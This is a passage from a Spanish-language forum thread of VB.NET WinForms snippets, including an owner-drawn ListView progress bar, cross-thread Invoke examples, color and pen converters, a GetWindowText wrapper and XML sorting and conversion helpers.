Else ' Download was successful.
lvi.SubItems(2).Text = "Finished"
' Set a Finished ImageKey.
' lvi.ImageKey = "Finished"
End If
' Set Tag to Nothing in order to remove the wClient class instance,
' so this way we know we can't resume the download.
lvi.Tag = Nothing
End Sub
' Private Sub Button_Resume_Click(sender As Object, e As EventArgs) Handles Button_Resume.Click
'// To Resume a file:
' Download_Helper.Resume_Download(lvi.Tag)
'End Sub
'Private Sub Button_Pause_Click(sender As Object, e As EventArgs) Handles Button_Pause.Click
'// To pause or cancel a file:
' Download_Helper.PauseCancel_Download(lvi.Tag)
'End Sub
End Class
· Dibujar una barra de progreso en un Item de un ListView:
(http://img850.imageshack.us/img850/804/ntym.png)
(http://img189.imageshack.us/img189/803/09b5.png)
(http://img577.imageshack.us/img577/6784/olm5.png)
PD: Es preferible adaptar el siguiente código para hacer un user-control heredado de un Listview (solo hay que modificar 4 tonterías sencillas de este código) y añadirle anti-flickering al user-control, pero bueno, pueden dibujar el Listview desde otra Class como se muestra en este ejemplo, el código no es mio, solo lo he adaptado.
#Region " [ListView] Draw ProgressBar "
' [ [ListView] Draw ProgressBar ]
Private Listview_Column As Integer = 4 ' The column index to draw the ProgressBar
Private Percent As Double = 0 ' The progress percentage
Private Percent_DecimalFactor As Short = 1 ' Example: 0.1
Private Percent_Text As String = "% Done" ' Example: 0.1% Done
Private Percent_Forecolor As Brush = Brushes.Black
Private Percent_Font As Font = Me.Font
Private ProgressBar_BackColor As Brush = Brushes.White
Private ProgressBar_BorderColor As Pen = Pens.LightGray
Private ProgressBar_FillColor1 As Color = Color.YellowGreen
Private ProgressBar_FillColor2 As Color = Color.White
' ListView [Layout]
Private Sub ListView1_Layout(sender As Object, e As LayoutEventArgs) _
Handles ListView1.Layout
' Set Listview OwnerDraw to True, so we can draw the progressbar.
ListView1.OwnerDraw = True
End Sub
' ListView [DrawColumnHeader]
Private Sub ListView_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) _
Handles ListView1.DrawColumnHeader
e.DrawDefault = True ' Draw default ColumnHeader.
End Sub
' ListView [DrawItem]
Private Sub ListView_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) _
Handles ListView1.DrawItem
e.DrawDefault = False ' Draw default main item.
End Sub
' ListView [DrawSubItem]
Private Sub ListView_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) _
Handles ListView1.DrawSubItem
If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
' Item is highlighted.
e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
End If
' Draw the progressbar.
If e.ColumnIndex = Listview_Column Then
' Center the text in the progressbar.
Dim sf As New StringFormat
sf.Alignment = StringAlignment.Center
' Background color of the progressbar is white.
e.Graphics.FillRectangle(ProgressBar_BackColor, e.Bounds)
' Percentage of the progressbar to fill.
Dim FillPercent As Integer = CInt(((Percent) / 100) * (e.Bounds.Width - 2))
' This creates a nice color gradient to fill.
Dim brGradient As Brush = _
New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
ProgressBar_FillColor1, ProgressBar_FillColor2, 270, True)
' Draw the actual progressbar.
e.Graphics.FillRectangle(brGradient, _
e.Bounds.X + 1, e.Bounds.Y + 2, _
FillPercent, e.Bounds.Height - 3)
' Draw the percentage number and percent sign.
' NOTE: make sure that e.SubItem.Text only contains a number or an error will occur.
e.Graphics.DrawString(Percent.ToString("n" & Percent_DecimalFactor) & Percent_Text, _
Percent_Font, Percent_Forecolor, _
CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
sf)
' Draw a light gray rectangle/border around the progressbar.
e.Graphics.DrawRectangle(ProgressBar_BorderColor, _
e.Bounds.X, e.Bounds.Y + 1, _
e.Bounds.Width - 1, e.Bounds.Height - 2)
Else
e.DrawDefault = True
End If
End Sub
#End Region
· Un ejemplo que he hecho para mostrar como usar una expresión Lambda al Invocar propiedades de controles:
#Region " Invoke Lambda "
' Create a thread.
Private t As Threading.Thread = New Threading.Thread(AddressOf UI_Thread)
' Create two Textbox.
Dim tb1 As New TextBox With {.Text = "Hello World!"}
Dim tb2 As New TextBox With {.Location = New Point(tb1.Location.X, (tb1.Location.Y + tb1.Height))}
Private Sub Form1_Load(sender As Object, e As EventArgs) _
Handles MyBase.Load
Me.Controls.AddRange({tb1, tb2}) ' Add the Textbox to the UI.
t.Start() ' Start the thread.
End Sub
Private Sub UI_Thread()
If tb2.InvokeRequired Then ' Check if invocation is required for the TextBox on the main thread.
tb2.Invoke(Sub() tb2.Text = tb1.Text) ' Then Invoke a Lambda method.
Else
tb2.Text = tb1.Text
End If
End Sub
#End Region
· Un ejemplo que muestra como crear y usar un delegado para actualizar un control desde otro thread:
#Region " Delegate Example "
' Create the delegate to be able to update the TextBox.
Private Delegate Sub TextBoxUpdateUI(ByVal txt As String)
' Create a thread.
Private t As Threading.Thread = New Threading.Thread(AddressOf UI_Thread)
' Create two Textbox.
Dim tb1 As New TextBox With {.Text = "Hello World!"}
Dim tb2 As New TextBox With {.Location = New Point(tb1.Location.X, (tb1.Location.Y + tb1.Height))}
Private Sub Form1_Load(sender As Object, e As EventArgs) _
Handles MyBase.Load
Me.Controls.AddRange({tb1, tb2}) ' Add the Textbox to the UI.
t.Start() ' Start the thread.
End Sub
Private Sub UI_Thread()
If tb2.InvokeRequired Then ' Check if invocation is required for the TextBox on the main thread.
Dim tb_delegate As New TextBoxUpdateUI(AddressOf UI_Thread) ' Set the TextBox delegate.
tb2.Invoke(tb_delegate, Text) ' Invoke the delegate and the control property to update.
Else
tb2.Text = tb1.Text
End If
End Sub
#End Region
Le he hecho una revisión de código a un ListView extendio que ya compartí hace tiempo, le he añadido la ProgressBar que he comentado más arriba, no lo he testeado mucho pero parece que todo funciona como debe funcionar,
que lo disfruteis!
' /* *\
' |#* ListView Elektro *#|
' \* */
'
' // By Elektro H@cker
'
' Properties:
' ...........
' · Disable_Flickering
' · Double_Buffer
' · GridLineColor
' · ItemHighlightColor
' · ItemNotFocusedHighlighColor
' · DrawCustomGridLines
' · UseDefaultGridLines
' · Enable_ProgressBar
' · Progressbar_Column
' · Percent
' · Percent_Decimal
' · Percent_Font
' · Percent_Text
' · Percent_Forecolor
' · Percent_Text_Allignment
' · ProgressBar_BackColor
' · ProgressBar_BorderColor
' · ProgressBar_FillColor1
' · ProgressBar_FillColor2
'
' Events:
' .......
' · ItemAdded
' · ItemRemoved
'
' Methods:
' .......
' · AddItem
' · RemoveItem
Public Class ListView_Elektro : Inherits ListView
Public Event ItemAdded()
Public Event ItemRemoved()
Private _Disable_Flickering As Boolean = True
Private _gridLines As Boolean = False
Private _useDefaultGridLines As Boolean = False
Private _gridLineColor As Color = Color.Black
Private _itemHighlightColor As Color = Color.FromKnownColor(KnownColor.Highlight)
Private _itemNotFocusedHighlighColor As Color = Color.FromKnownColor(KnownColor.MenuBar)
Private _enable_progressbar As Boolean = False
Private _progressbar_column As Integer = Nothing
Private _percent As Double = 0
Private _percent_decimal As Short = 2
Private _percent_text As String = "%"
Private _percent_text_allignment As StringAlignment = StringAlignment.Center
Private _percent_stringformat As StringFormat = New StringFormat With {.Alignment = _percent_text_allignment}
Private _percent_font As Font = Me.Font
Private _percent_forecolor As SolidBrush = New SolidBrush(Color.Black)
Private _progressBar_backcolor As SolidBrush = New SolidBrush(Color.Red)
Private _progressBar_bordercolor As Pen = New Pen(Color.LightGray)
Private _progressBar_fillcolor1 As Color = Color.YellowGreen
Private _progressBar_fillcolor2 As Color = Color.White
Public Sub New()
Me.Name = "ListView_Elektro"
Me.DoubleBuffered = True
Me.UseDefaultGridLines = True
' Set Listview OwnerDraw to True, so we can draw the progressbar inside.
If Me.Enable_ProgressBar Then Me.OwnerDraw = True
' Me.GridLines = True
' Me.MultiSelect = True
' Me.FullRowSelect = True
' Me.View = View.Details
End Sub
#Region " Properties "
''' <summary>
''' Enable/Disable any flickering effect on the ListView.
''' </summary>
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
If _Disable_Flickering Then
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = cp.ExStyle Or &H2000000
Return cp
Else
Return MyBase.CreateParams
End If
End Get
End Property
''' <summary>
''' Set the Double Buffer.
''' </summary>
Public Property Double_Buffer() As Boolean
Get
Return Me.DoubleBuffered
End Get
Set(ByVal Value As Boolean)
Me.DoubleBuffered = Value
End Set
End Property
''' <summary>
''' Enable/Disable the flickering effects on this ListView.
'''
''' This property turns off any Flicker effect on the ListView
''' ...but also reduces the performance (speed) of the ListView about 30% slower.
''' This don't affect to the performance of the application itself, only to the performance of this control.
''' </summary>
Public Property Disable_Flickering() As Boolean
Get
Return _Disable_Flickering
End Get
Set(ByVal Value As Boolean)
Me._Disable_Flickering = Value
End Set
End Property
''' <summary>
''' Changes the gridline color.
''' </summary>
Public Property GridLineColor() As Color
Get
Return _gridLineColor
End Get
Set(ByVal value As Color)
If value <> _gridLineColor Then
_gridLineColor = value
If _gridLines Then
Me.Invalidate()
End If
End If
End Set
End Property
''' <summary>
''' Changes the color when item is highlighted.
''' </summary>
Public Property ItemHighlightColor() As Color
Get
Return _itemHighlightColor
End Get
Set(ByVal value As Color)
If value <> _itemHighlightColor Then
_itemHighlightColor = value
Me.Invalidate()
End If
End Set
End Property
''' <summary>
''' Changes the color when the item is not focused.
''' </summary>
Public Property ItemNotFocusedHighlighColor() As Color
Get
Return _itemNotFocusedHighlighColor
End Get
Set(ByVal value As Color)
If value <> _itemNotFocusedHighlighColor Then
_itemNotFocusedHighlighColor = value
Me.Invalidate()
End If
End Set
End Property
Private ReadOnly Property DrawCustomGridLines() As Boolean
Get
Return (_gridLines And Not _useDefaultGridLines)
End Get
End Property
Public Shadows Property GridLines() As Boolean
Get
Return _gridLines
End Get
Set(ByVal value As Boolean)
_gridLines = value
End Set
End Property
''' <summary>
''' use the default gridlines.
''' </summary>
Public Property UseDefaultGridLines() As Boolean
Get
Return _useDefaultGridLines
End Get
Set(ByVal value As Boolean)
If _useDefaultGridLines <> value Then
_useDefaultGridLines = value
End If
MyBase.GridLines = value
MyBase.OwnerDraw = Not value
End Set
End Property
#End Region
#Region " Procedures "
''' <summary>
''' Monitors when an Item is added to the ListView.
''' </summary>
Public Function AddItem(ByVal Text As String) As ListViewItem
RaiseEvent ItemAdded()
Return MyBase.Items.Add(Text)
End Function
''' <summary>
''' Monitors when an Item is removed from the ListView.
''' </summary>
Public Sub RemoveItem(ByVal Item As ListViewItem)
RaiseEvent ItemRemoved()
MyBase.Items.Remove(Item)
End Sub
Protected Overrides Sub OnDrawColumnHeader(ByVal e As DrawListViewColumnHeaderEventArgs)
e.DrawDefault = True
MyBase.OnDrawColumnHeader(e)
End Sub
Protected Overrides Sub OnLostFocus(ByVal e As System.EventArgs)
For Each selectedIndex As Integer In MyBase.SelectedIndices
MyBase.RedrawItems(selectedIndex, selectedIndex, False)
Next
MyBase.OnLostFocus(e)
End Sub
Protected Overrides Sub OnDrawSubItem(ByVal e As DrawListViewSubItemEventArgs)
Dim drawAsDefault As Boolean = False
Dim highlightBounds As Rectangle = Nothing
Dim highlightBrush As SolidBrush = Nothing
'FIRST DETERMINE THE COLOR
If e.Item.Selected Then
If MyBase.Focused Then
highlightBrush = New SolidBrush(_itemHighlightColor)
ElseIf HideSelection Then
drawAsDefault = True
Else
highlightBrush = New SolidBrush(_itemNotFocusedHighlighColor)
End If
Else
drawAsDefault = True
End If
If drawAsDefault Then
e.DrawBackground()
Else
'NEXT DETERMINE THE BOUNDS IN WHICH TO DRAW THE BACKGROUND
If FullRowSelect Then
highlightBounds = e.Bounds
Else
highlightBounds = e.Item.GetBounds(ItemBoundsPortion.Label)
End If
'ONLY DRAW HIGHLIGHT IN 1 OF 2 CASES
'CASE 1 - FULL ROW SELECT (AND DRAWING ANY ITEM)
'CASE 2 - NOT FULL ROW SELECT (AND DRAWING 1ST ITEM)
If FullRowSelect Then
e.Graphics.FillRectangle(highlightBrush, highlightBounds)
ElseIf e.ColumnIndex = 0 Then
e.Graphics.FillRectangle(highlightBrush, highlightBounds)
Else
e.DrawBackground()
End If
End If
e.DrawText()
If _gridLines Then
e.Graphics.DrawRectangle(New Pen(_gridLineColor), e.Bounds)
End If
If FullRowSelect Then
e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Entire))
Else
e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Label))
End If
MyBase.OnDrawSubItem(e)
End Sub
#End Region
#Region " ProgressBar Properties "
''' <summary>
''' Enables the drawing of a ProgressBar
''' This property should be "True" to use any of the ProgressBar properties.
''' </summary>
Public Property Enable_ProgressBar As Boolean
Get
Return _enable_progressbar
End Get
Set(ByVal value As Boolean)
Me.OwnerDraw = value
_enable_progressbar = value
End Set
End Property
''' <summary>
''' The column index to draw the ProgressBar
''' </summary>
Public Property Progressbar_Column As Integer
Get
Return _progressbar_column
End Get
Set(ByVal value As Integer)
_progressbar_column = value
End Set
End Property
''' <summary>
''' The ProgressBar progress percentage
''' </summary>
Public Property Percent As Double
Get
Return _percent
End Get
Set(ByVal value As Double)
_percent = value
End Set
End Property
''' <summary>
''' The decimal factor which should be displayed for the ProgressBar progress percentage
''' </summary>
Public Property Percent_Decimal As Short
Get
Return _percent_decimal
End Get
Set(ByVal value As Short)
_percent_decimal = value
End Set
End Property
''' <summary>
''' The Font to be used as the ProgressBar Percent text
''' </summary>
Public Property Percent_Font As Font
Get
Return _percent_font
End Get
Set(ByVal value As Font)
_percent_font = value
End Set
End Property
''' <summary>
''' The additional text to add to the ProgressBar Percent value
''' </summary>
Public Property Percent_Text As String
Get
Return _percent_text
End Get
Set(ByVal value As String)
_percent_text = value
End Set
End Property
''' <summary>
''' The ForeColor of the ProgressBar Percent Text
''' </summary>
Public Property Percent_Forecolor As Color
Get
Return _percent_forecolor.Color
End Get
Set(ByVal value As Color)
_percent_forecolor = New SolidBrush(value)
End Set
End Property
''' <summary>
''' The text allignment to use for the ProgressBar
''' </summary>
Public Property Percent_Text_Allignment As StringAlignment
Get
Return _percent_stringformat.Alignment
End Get
Set(ByVal value As StringAlignment)
_percent_stringformat.Alignment = value
End Set
End Property
''' <summary>
''' The ProgressBar BackColor
''' </summary>
Public Property ProgressBar_BackColor As Color
Get
Return _progressBar_backcolor.Color
End Get
Set(ByVal value As Color)
_progressBar_backcolor = New SolidBrush(value)
End Set
End Property
''' <summary>
''' The ProgressBar BorderColor
''' </summary>
Public Property ProgressBar_BorderColor As Color
Get
Return _progressBar_bordercolor.Color
End Get
Set(ByVal value As Color)
_progressBar_bordercolor = New Pen(value)
End Set
End Property
''' <summary>
''' The First ProgressBar Gradient color
''' </summary>
Public Property ProgressBar_FillColor1 As Color
Get
Return _progressBar_fillcolor1
End Get
Set(ByVal value As Color)
_progressBar_fillcolor1 = value
End Set
End Property
''' <summary>
''' The Last ProgressBar Gradient color
''' </summary>
Public Property ProgressBar_FillColor2 As Color
Get
Return _progressBar_fillcolor2
End Get
Set(ByVal value As Color)
_progressBar_fillcolor2 = value
End Set
End Property
#End Region
#Region " ProgressBar EventHandlers "
' ListView [DrawColumnHeader]
Public Sub Me_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) Handles Me.DrawColumnHeader
e.DrawDefault = True ' Draw default ColumnHeader.
End Sub
' ListView [DrawItem]
Public Sub Me_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) 'Handles Me.DrawItem
e.DrawDefault = False ' Draw default main item.
End Sub
' ListView [DrawSubItem]
Public Sub Me_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) Handles Me.DrawSubItem
If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
' Item is highlighted.
e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
End If
' Draw the progressbar.
If e.ColumnIndex = Me.Progressbar_Column Then
If (Not Me.Enable_ProgressBar OrElse Me.Progressbar_Column = Nothing) Then Exit Sub
' Background color of the progressbar is white.
e.Graphics.FillRectangle(Me._progressBar_backcolor, e.Bounds)
' This creates a nice color gradient to fill.
Dim brGradient As Brush = _
New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
Me.ProgressBar_FillColor1, Me.ProgressBar_FillColor2, 270, True)
' Draw the actual progressbar.
e.Graphics.FillRectangle(brGradient, _
e.Bounds.X + 1, e.Bounds.Y + 2, _
CInt(((Me.Percent) / 100) * (e.Bounds.Width - 2)), e.Bounds.Height - 3)
' Draw the percentage number and percent sign.
e.Graphics.DrawString(Me.Percent.ToString("n" & Me.Percent_Decimal) & Me.Percent_Text, _
Me.Percent_Font, Me._percent_forecolor, _
CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
_percent_stringformat)
' Draw a light gray rectangle/border around the progressbar.
e.Graphics.DrawRectangle(Me._progressBar_bordercolor, _
e.Bounds.X, e.Bounds.Y + 1, _
e.Bounds.Width - 1, e.Bounds.Height - 2)
Else
e.DrawDefault = True
End If
End Sub
#End Region
End Class
Unas sencillas funciones para convertir pluma/brocha a color, y viceversa.
#Region " Color To Pen "
' [ Color To Pen ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Color_To_Pen(Color.Red).Color.Name) ' Result: Red
Private Function Color_To_Pen(ByVal color As Color) As Pen
Dim _pen As Pen = Nothing
Try
_pen = New Pen(color)
Return _pen
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
Finally
If _pen IsNot Nothing Then _pen.Dispose()
End Try
End Function
#End Region
#Region " Color To SolidBrush "
' [ Color To SolidBrush ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Color_To_SolidBrush(Color.Red).Color.Name) ' Result: Red
Private Function Color_To_SolidBrush(ByVal color As Color) As SolidBrush
Dim _brush As SolidBrush = Nothing
Try
_brush = New SolidBrush(color)
Return _brush
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
Finally
If _brush IsNot Nothing Then _brush.Dispose()
End Try
End Function
#End Region
#Region " Pen To Color "
' [ Pen To Color ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Pen_To_Color(New Pen(Color.Red)).Name) ' Result: Red
Private Function Pen_To_Color(ByVal pen As Pen) As Color
Return pen.Color
End Function
#End Region
#Region " SolidBrush To Color "
' [ SolidBrush To Color ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(SolidBrush_To_Color(New SolidBrush(Color.Red)).Name) ' Result: Red
Private Function SolidBrush_To_Color(ByVal brush As SolidBrush) As Color
Return brush.Color
End Function
#End Region
Y otra sencilla función para parsear un valor de una enumeración:
#Region " Enum Parser "
' [ Enum Parser ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Enum_Parser(Of Keys)(65).ToString) ' Result: A
' MsgBox(Enum_Parser(Of Keys)("A").ToString) ' Result: A
' TextBox1.BackColor = Color.FromKnownColor(Enum_Parser(Of KnownColor)("Red"))
Private Function Enum_Parser(Of T)(Value As Object) As T
Try
Return [Enum].Parse(GetType(T), Value, True)
Catch ex As ArgumentException
Throw New Exception("Enum value not found")
Catch ex As Exception
Throw New Exception(String.Format("{0}: {1}}", _
ex.Message, ex.StackTrace))
End Try
End Function
#End Region
Otra función simple, que devuelve las medidas de la fuente de texto:
#Region " Get Text Measure "
' [ Get Text Measure ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Get_Text_Measure("Hello World!", New Font(New FontFamily("Lucida Console"), 12)).Width) ' Result: 127
' MsgBox(Get_Text_Measure("Hello World!", New Font(New FontFamily("Lucida Console"), 12)).Height) ' Result: 16
Private Function Get_Text_Measure(ByVal text As String, ByVal font As Font) As SizeF
Return TextRenderer.MeasureText(text, font)
End Function
#End Region
Esta función obtiene el texto de una ventana, pasándole como parámetro el handle de dicha ventana:
#Region " Get Window Text "
' [ Get Window Text ]
'
' // By Elektro H@cker
'
' Examples :
' Dim str as String = Get_Window_Text(hwnd)
<System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function GetWindowText(ByVal hwnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
End Function
<System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
End Function
Public Function Get_Window_Text(ByVal hWnd As IntPtr) As String
If hWnd = IntPtr.Zero Then : Return Nothing
Else
Dim length As Integer = GetWindowTextLength(hWnd)
If length = 0 Then
Return Nothing
End If
Dim sb As New System.Text.StringBuilder("", length)
GetWindowText(hWnd, sb, sb.Capacity + 1)
Return sb.ToString()
End If
End Function
#End Region
Con este código podemos heredar un TextBox y averiguar la opción que ha elegido el usuario en el CMT por defecto de Windows.
El código original no es mio, pero lo he adaptado apra que funcione corréctamente la opción "Cut", y le he añadido la constande de "Delete".
Modo de empleo:
Private Sub TextBox1_OnTextCommand(sender As Object, e As MyTextBox.ContextCommandEventArgs) _
Handles MyTextBox1.OnCut, MyTextBox1.OnPaste, MyTextBox1.OnCopy, MyTextBox1.OnDelete
MessageBox.Show("Activated " & e.Command.ToString())
End Sub
Class MyTextBox : Inherits TextBox
Private Last_Command As ContextCommands = Nothing
Private WithEvents CopyOrCut_Timer As New Timer _
With {.Interval = 5, .Enabled = False}
Public Enum ContextCommands
WM_CUT = &H300
WM_COPY = &H301
WM_PASTE = &H302
WM_DELETE = &H303
End Enum
Public Class ContextCommandEventArgs
Inherits EventArgs
Public Property Command As ContextCommands
End Class
Event OnCut(sender As Object, e As ContextCommandEventArgs)
Event OnCopy(sender As Object, e As ContextCommandEventArgs)
Event OnPaste(sender As Object, e As ContextCommandEventArgs)
Event OnDelete(sender As Object, e As ContextCommandEventArgs)
Protected Overrides Sub WndProc(ByRef m As Message)
MyBase.WndProc(m)
Select Case m.Msg
Case ContextCommands.WM_COPY
Last_Command = ContextCommands.WM_COPY
CopyOrCut_Timer.Enabled = True
Case ContextCommands.WM_CUT
Last_Command = ContextCommands.WM_CUT
Case ContextCommands.WM_PASTE
RaiseEvent OnPaste(Me, New ContextCommandEventArgs() _
With {.Command = ContextCommands.WM_PASTE})
Case ContextCommands.WM_DELETE
RaiseEvent OnDelete(Me, New ContextCommandEventArgs() _
With {.Command = ContextCommands.WM_DELETE})
End Select
End Sub
Private Sub Cut_Timer_Tick(sender As Object, e As EventArgs) _
Handles CopyOrCut_Timer.Tick
sender.enabled = False
Select Case Last_Command
Case ContextCommands.WM_COPY
RaiseEvent OnCopy(Me, New ContextCommandEventArgs() _
With {.Command = ContextCommands.WM_COPY})
Case ContextCommands.WM_CUT
RaiseEvent OnCut(Me, New ContextCommandEventArgs() _
With {.Command = ContextCommands.WM_CUT})
End Select
Last_Command = Nothing
End Sub
End Class
Una función genérica para agregar un item a un array de 2 dimensiones
#Region " Add Item Array 2D "
' [ Add Item Array 2D ]
'
' // By Elektro H@cker
'
' Examples :
'
'// Create an Array 2D (2,2)
' Dim MyArray As String(,) = {{"Item 0,0", "Item 0,1"}, {"Item 1,0", "Item 1,1"}, {"Item 2,0", "Item 2,1"}}
'// Add an Item
' Add_Item_Array_2D(MyArray, {"Item 3,0", "Item 3,1"})
Private Sub Add_Item_Array_2D(ByRef Array_2D As String(,), _
ByVal Items As String())
Dim tmp_array(Array_2D.GetUpperBound(0) + 1, Array_2D.GetUpperBound(1)) As String
For x As Integer = 0 To Array_2D.GetUpperBound(0)
tmp_array(x, 0) = Array_2D(x, 0)
tmp_array(x, 1) = Array_2D(x, 1)
Next
For x As Integer = 0 To Items.Count - 1
tmp_array(tmp_array.GetUpperBound(0), x) = Items(x)
Next
Array_2D = tmp_array
End Sub
#End Region
Un ejemplo de como ordenar un documento XML según un elemento dado:
#Region " Sort XML By Element "
' [ Sort XML By Element ]
'
' // By Elektro H@cker
'
' Example usage :
' Dim XML As XDocument = Sort_XML_By_Element(XDocument.Load("C:\File.xml"), "Song", "Name")
' Example XML File:
'
'<?xml version="1.0" encoding="Windows-1252"?>
'<Songs>
' <Song><Name>My Song 2.mp3</Name><Year>2007</Year></Song>
' <Song><Name>My Song 1.mp3</Name><Year>2009</Year></Song>
' <Song><Name>My Song 3.mp3</Name><Year>2008</Year></Song>
'</Songs>
' Example output:
'
'<?xml version="1.0" encoding="Windows-1252"?>
'<Songs>
' <Song><Name>My Song 1.mp3</Name><Year>2009</Year></Song>
' <Song><Name>My Song 2.mp3</Name><Year>2007</Year></Song>
' <Song><Name>My Song 3.mp3</Name><Year>2008</Year></Song>
'</Songs>
Private Function Sort_XML_By_Element(ByVal XML As XDocument, _
ByVal Root_Element As String, _
ByVal Element_to_sort As String) As XDocument
Dim xdoc As XDocument
Try
xdoc = XML
xdoc.Root.ReplaceNodes(XML.Root.Elements(Root_Element) _
.OrderBy(Function(sort) sort.Element(Element_to_sort).Value))
Return xdoc
Catch ex As Exception
Throw New Exception(ex.Message)
Finally
xdoc = Nothing
End Try
End Function
#End Region
Un ejemplo de como convertir los elementos de un documento XML a un type anónimo:
#Region " Convert XML to Anonymous Type "
'Dim xml As XDocument = XDocument.Load(xmlfile)
Dim xml As XDocument = _
<?xml version="1.0" encoding="Windows-1252"?>
<!--XML Songs Database.-->
<Songs>
<Song><Name>My Song 1.mp3</Name><Year>2007</Year><Genre>Dance</Genre><Bitrate>320</Bitrate><Length>04:55</Length><Size>4,80</Size></Song>
<Song><Name>My Song 2.mp3</Name><Year>2009</Year><Genre>Electro</Genre><Bitrate>192</Bitrate><Length>06:44</Length><Size>8,43</Size></Song>
<Song><Name>My Song 3.mp3</Name><Year>2008</Year><Genre>UK Hardcore</Genre><Bitrate>128</Bitrate><Length>05:12</Length><Size>4,20</Size></Song>
</Songs>
Dim SongsList = From song In xml.<Songs>.<Song>
Select New With { _
song.<Name>.Value,
song.<Year>.Value,
song.<Genre>.Value,
song.<Bitrate>.Value,
song.<Length>.Value,
song.<Size>.Value _
}
For Each song In SongsList
MsgBox(String.Format("Name:{1}{0}Year:{2}{0}Genre:{3}{0}Bitrate:{4}{0}Length:{5}{0}Size:{6}", _
Environment.NewLine, _
song.Name, song.Year, song.Genre, song.Bitrate, song.Length, song.Size))
' Output:
'
'Name:My Song 1.mp3
'Year:2007
'Genre:Dance
'Bitrate:320
'Length:04:55
'Size:4,80
Next
#End Region
Un ejemplo de como convertir los elementos de un documento XML a Tuplas
#Region " Convert XML to IEnumerable(Of Tuple) "
'Dim xml As XDocument = XDocument.Load(xmlfile)
Dim xml As XDocument = _
<?xml version="1.0" encoding="Windows-1252"?>
<!--XML Songs Database.-->
<Songs>
<Song><Name>My Song 1.mp3</Name><Year>2007</Year><Genre>Dance</Genre><Bitrate>320</Bitrate><Length>04:55</Length><Size>4,80</Size></Song>
<Song><Name>My Song 2.mp3</Name><Year>2009</Year><Genre>Electro</Genre><Bitrate>192</Bitrate><Length>06:44</Length><Size>8,43</Size></Song>
<Song><Name>My Song 3.mp3</Name><Year>2008</Year><Genre>UK Hardcore</Genre><Bitrate>128</Bitrate><Length>05:12</Length><Size>4,20</Size></Song>
</Songs>
Dim SongsList As IEnumerable(Of Tuple(Of String, String, String, String, String, String)) = _
From song In xml.<Songs>.<Song>
Select Tuple.Create( _
song.<Name>.Value,
song.<Year>.Value,
song.<Genre>.Value,
song.<Bitrate>.Value,
song.<Length>.Value,
song.<Size>.Value _
)
For Each song In SongsList
MsgBox(String.Format("Name:{1}{0}Year:{2}{0}Genre:{3}{0}Bitrate:{4}{0}Length:{5}{0}Size:{6}", _
Environment.NewLine, _
song.Item1, song.Item2, song.Item3, song.Item4, song.Item5, song.Item6))
' Output:
'
'Name:My Song 1.mp3
'Year:2007
'Genre:Dance
'Bitrate:320
'Length:04:55
'Size:4,80
Next
#End Region
Un ejemplo de como usar Arrays 2D
' Create Array 2D (2,2)
Dim MyArray As String(,) = {{"Item 0,0", "Item 0,1"}, {"Item 1,0", "Item 1,1"}, {"Item 2,0", "Item 2,1"}}
' Set value
MyArray(0, 1) = "New Item 0,1"
' Get Value
MsgBox(MyArray(0, 1))
' Loop over the Array 2D
For x As Integer = 0 To MyArray.GetUpperBound(0)
MsgBox(String.Format("Array 2D {1},0: {2}{0}Array 2D {1},1: {3}", Environment.NewLine, _
x, MyArray(x, 0), MyArray(x, 1)))
Next
Un ejemplo de como crear un Type propio:
Public Class Type1
Private _Name As String
Private _Age As Short
Public Property Name() As String
Get
Return _Name
End Get
Set(ByVal value As String)
_Name = value
End Set
End Property
Public Property Age() As Short
Get
Return _Age
End Get
Set(ByVal value As Short)
_Age = value
End Set
End Property
End Class
'Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'
' ' Create a list of our own Type and add Elements:
' Dim Contacts As New List(Of Type1) From { _
' New Type1 With {.Name = "Lucia", .Age = 19}, _
' New Type1 With {.Name = "Pepe", .Age = 40} _
' }
'
' ' Add another Element
' Contacts.Add(New Type1 With {.Name = "Pablo", .Age = 32})
'
' ' Find an Element:
' Dim Contact As Type1 = Contacts.Find(Function(x) x.Name = "Lucia")
'
' ' Display Element members:
' MsgBox(String.Format("Name: {1}{0}Age: {2}", _
' Environment.NewLine, _
' Contact.Name, Contact.Age))
'
' ' Loop over all Elements:
' For Each Element As Type1 In Contacts
' MsgBox(String.Format("Name: {1}{0}Age: {2}", _
' Environment.NewLine, _
' Element.Name, Element.Age))
' Next
'
'End Sub
Una función genérica para obtener el serial de la CPU
